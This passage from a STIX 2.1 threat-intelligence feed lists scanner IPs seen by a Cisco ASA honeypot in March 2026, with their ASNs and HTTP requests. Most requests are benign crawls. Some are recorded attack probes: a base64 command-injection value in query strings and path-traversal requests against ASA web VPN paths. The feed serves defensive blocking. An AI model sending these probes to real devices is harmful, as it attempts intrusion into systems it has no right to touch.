      "valid_until": "2026-04-23T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T12:49:15.207Z",
          "last_seen": "2026-03-22T12:49:15.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.well-known/security.txt HTTP/1.1\" 404 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--87b5a0c7-d754-45aa-9483-db2e5982818b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:20:13.000Z",
      "valid_until": "2026-04-23T14:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T13:27:10.105Z",
          "last_seen": "2026-03-22T13:27:10.105Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T18:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cmplatform/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 - geo: DE; ASN 213438 (ColocaTel Inc.)",
      "id": "indicator--bc4f5b24-6816-4972-adfa-239e54c3b124",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.142.146.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:20:14.000Z",
      "valid_until": "2026-04-23T18:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-22T18:04:26.461Z",
          "last_seen": "2026-03-22T18:04:33.501Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 213438,
          "as_org": "ColocaTel Inc.",
          "event_types": [
            "\"GET /cmplatform/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
            "\"GET /cucm-uds/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
            "\"GET /cucm-uds/users?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
            "\"GET /ucmuser/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
            "\"GET /unity/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -",
            "\"GET /webexcalling/?query=JzsgaWQgIw%3D%3D HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T23:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--ae8d0337-8452-4f10-b1d1-adfe7246ee3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:20:13.000Z",
      "valid_until": "2026-04-23T23:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T23:16:52.662Z",
          "last_seen": "2026-03-22T23:16:52.662Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T00:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--4711ed30-f829-4f0a-a240-af373b921835",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:20:19.000Z",
      "valid_until": "2026-04-24T00:20:17.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T23:24:14.043Z",
          "last_seen": "2026-03-22T23:24:14.043Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--169df60b-4e0c-43c7-97e9-e93af1d39382",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.222.238.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:20:18.000Z",
      "valid_until": "2026-04-24T01:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-23T01:00:01.369Z",
          "last_seen": "2026-03-23T01:00:04.373Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--3354585d-026f-475b-b1be-e4eac16cf16d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.89.218.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:20:18.000Z",
      "valid_until": "2026-04-24T01:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-23T01:00:07.041Z",
          "last_seen": "2026-03-23T01:00:07.041Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--caed9c02-8bee-4eef-b915-2ebd72c1ce83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.224.57.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:20:18.000Z",
      "valid_until": "2026-04-24T01:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-17T00:53:55.176Z",
          "last_seen": "2026-03-23T00:56:41.414Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T02:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--a15725f5-d869-4a41-bd75-0c276c7a6474",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.89.52.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:20:14.000Z",
      "valid_until": "2026-04-24T02:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-23T01:51:03.718Z",
          "last_seen": "2026-03-23T01:51:05.660Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T02:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--decda0bc-85e1-44dc-9342-fb5c7ebfeca8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.118.32.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:20:14.000Z",
      "valid_until": "2026-04-24T02:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-23T02:07:07.398Z",
          "last_seen": "2026-03-23T02:07:10.401Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T11:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /login HTTP/1.1\" 404 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--d2e70dae-12fa-42a5-a60c-988b55ed675e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '192.241.148.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T11:20:13.000Z",
      "valid_until": "2026-04-24T11:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-23T10:31:39.527Z",
          "last_seen": "2026-03-23T10:31:39.527Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET /login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T14:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--36d64297-2bc6-478a-ae34-b56629ae488c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T14:20:12.000Z",
      "valid_until": "2026-04-24T14:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-23T13:58:37.437Z",
          "last_seen": "2026-03-23T13:58:52.164Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T16:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: AU; ASN 20473 (The Constant Company, LLC)",
      "id": "indicator--36177c03-ce24-4f25-9c16-2ec3c2fc800d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '139.180.164.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:20:03.000Z",
      "valid_until": "2026-04-24T16:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 12,
          "first_seen": "2026-03-23T15:57:32.688Z",
          "last_seen": "2026-03-23T16:12:36.089Z",
          "country": "Australia",
          "country_code": "AU",
          "asn": 20473,
          "as_org": "The Constant Company, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOU+/../+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOU+//../+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T17:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CH; ASN 15169 (Google LLC)",
      "id": "indicator--1da06069-e4e2-49eb-8076-a53f406bccb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.216.254.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T17:20:02.000Z",
      "valid_until": "2026-04-24T17:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-23T17:15:06.202Z",
          "last_seen": "2026-03-23T17:15:09.204Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 15169,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T19:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: RU; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--8375d6c8-ee75-42f3-9e55-b3c738d6c553",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.228.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T19:20:14.000Z",
      "valid_until": "2026-04-24T19:20:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-23T18:29:47.473Z",
          "last_seen": "2026-03-23T18:30:34.002Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-23T19:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.143.162.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T19:20:14.000Z",
      "valid_until": "2026-04-24T19:20:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-23T18:44:50.189Z",
          "last_seen": "2026-03-28T18:16:53.232Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T00:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--fdd555ff-7c3c-4267-8835-d47c507e5645",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T00:20:13.000Z",
      "valid_until": "2026-04-25T00:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-24T00:10:07.649Z",
          "last_seen": "2026-03-24T00:10:10.653Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T00:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: AU; ASN 20473 (The Constant Company, LLC)",
      "id": "indicator--c95aa266-1cc4-4a0b-ba3a-2ca52f265177",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.77.236.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T00:20:13.000Z",
      "valid_until": "2026-04-25T00:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 12,
          "first_seen": "2026-03-23T23:21:25.884Z",
          "last_seen": "2026-03-23T23:36:29.349Z",
          "country": "Australia",
          "country_code": "AU",
          "asn": 20473,
          "as_org": "The Constant Company, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOU+/../+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOU+//../+CSCOL+/csvrmon.jar HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d8d33fa3-ecb9-4d63-98c5-ec2ff2219ded",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.205.139.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:20:07.000Z",
      "valid_until": "2026-04-25T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-24T00:55:03.591Z",
          "last_seen": "2026-03-24T00:55:03.591Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--0b2b025a-d9a8-464c-9838-70744c8f802f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.166.112.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:20:07.000Z",
      "valid_until": "2026-04-25T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-24T00:54:52.605Z",
          "last_seen": "2026-03-24T00:54:55.609Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--48fed715-800e-4efe-9028-43f550e18bc2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.89.202.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:20:07.000Z",
      "valid_until": "2026-04-25T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-24T00:54:59.085Z",
          "last_seen": "2026-03-28T01:19:37.662Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-24T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IN; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--97ef4509-77d6-497c-b27d-50079eb00a84",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.244.140.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:20:13.000Z",
      "valid_until": "2026-04-25T02:20:12.000Z",
      "indicator_types": [
